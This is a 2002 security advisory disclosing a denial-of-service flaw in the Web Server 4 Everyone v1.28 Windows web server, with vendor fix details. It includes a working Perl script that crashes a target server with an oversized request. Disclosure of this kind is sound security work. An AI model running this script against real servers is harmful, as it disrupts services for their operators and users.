-----BEGIN PGP SIGNED MESSAGE----- Hash: MD5 - --[ Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability ]-- - --[ Type Denial of Service - --[ Release Date October 23, 2002 - --[ Product / Vendor Web Server 4 Everyone is an Internet and Intranet server that supports HTTP Services. Web Server 4 Everyone is available for Microsoft Windows operating systems. http://www.freeware.lt/Info/projects.php - --[ Summary The problem is Web Server 4 Everyone v1.28 with bounds checking, when you request 2000 characters "web4all.exe" just shuts down. This vulnerability also affects Web Server 4 Everyone versions prior to v1.28 for Microsoft Windows 2000. When the attacker send a request in size of 2000 characters in "Host:" field that contains all "127.0.0.1", the server crashes. In case you send a request that size without adding the "Host:" there is no effect on running program. The Web server must be restarted to regain normal functionality. - --[ Exploit An exploit for this vulnerability exists and is available below. =============== SNIP =============== #!/usr/bin/perl -w use IO::Socket; $host = $ARGV[0]; $port = $ARGV[1]; $evil = "A" x 2000; print "Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability by SecurityOffice\n"; print "Usage: $0 host port\n"; print "Connecting...\n"; $socket = IO::Socket::INET-> new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Connection failed.\n"; print "Attacking...\n"; print $socket "GET /$evil HTTP/1.1\n Host: 127.0.0.1\n\n"; close($socket); print "\nConnection closed. Finished.\n\n"; =============== SNIP =============== - --[ Tested Windows 2000 Sp3 / Web Server 4 Everyone v1.28 Windows 98 SE / Web Server 4 Everyone v1.28 - --[ Vulnerable Web Server 4 Everyone v1.28 - --[ Vendor Status This vulnerability fixed Web Server 4 Everyone v1.32 - --[ Disclaimer http://www.securityoffice.net is not responsible for the misuse or illegal use of any of the information and/or the software listed on this security advisory. - --[ Author Tamer Sahin tsat_private http://www.securityoffice.net All our advisories can be viewed at http://www.securityoffice.net/articles/ Please send suggestions, updates, and comments to feedbackat_private (c) 2002 SecurityOffice This Security Advisory may be reproduced and distributed, provided that this Security Advisory is not modified in any way and is attributed to SecurityOffice and provided that such reproduction and distribution is performed for non-commercial purposes. Tamer Sahin http://www.securityoffice.net -----BEGIN PGP SIGNATURE----- Version: 2.6 iQEVAwUAPbZnkvpL5ibJRTtBAQHxWAf/dWgBrrq5E6tlSZ3kN5dL/Kwf5G5bnwIc 0hP5pc0xd1qozr5SBtAtvCpAaDAROzjcIRoOKXnEG2wPkJFb71lN4wKdxqrM1tL1 1sjuimEeWPE4AIs4GCfRN/XtOzq4fdv+Oc/W7WgLzNIGkB9+zeb/L0XAQu/uPL/r 4Jt6qg7VBKhsFfB0iHv6nSPEtkJzWFmsLJ/SKIT2bXTd0DRSSrW6w6WDygFHytVk VC4+7EGFu1MoEYbnpPRHr0RKQO2esc8iv026H5Uet2mzpxL520wACuBnB1mKuLAa yHsk6PQoFJypOarWEdMc6EevWamK4x/9VWuLM+i0/LM61TgNAqpT8Q== =jEpl -----END PGP SIGNATURE-----
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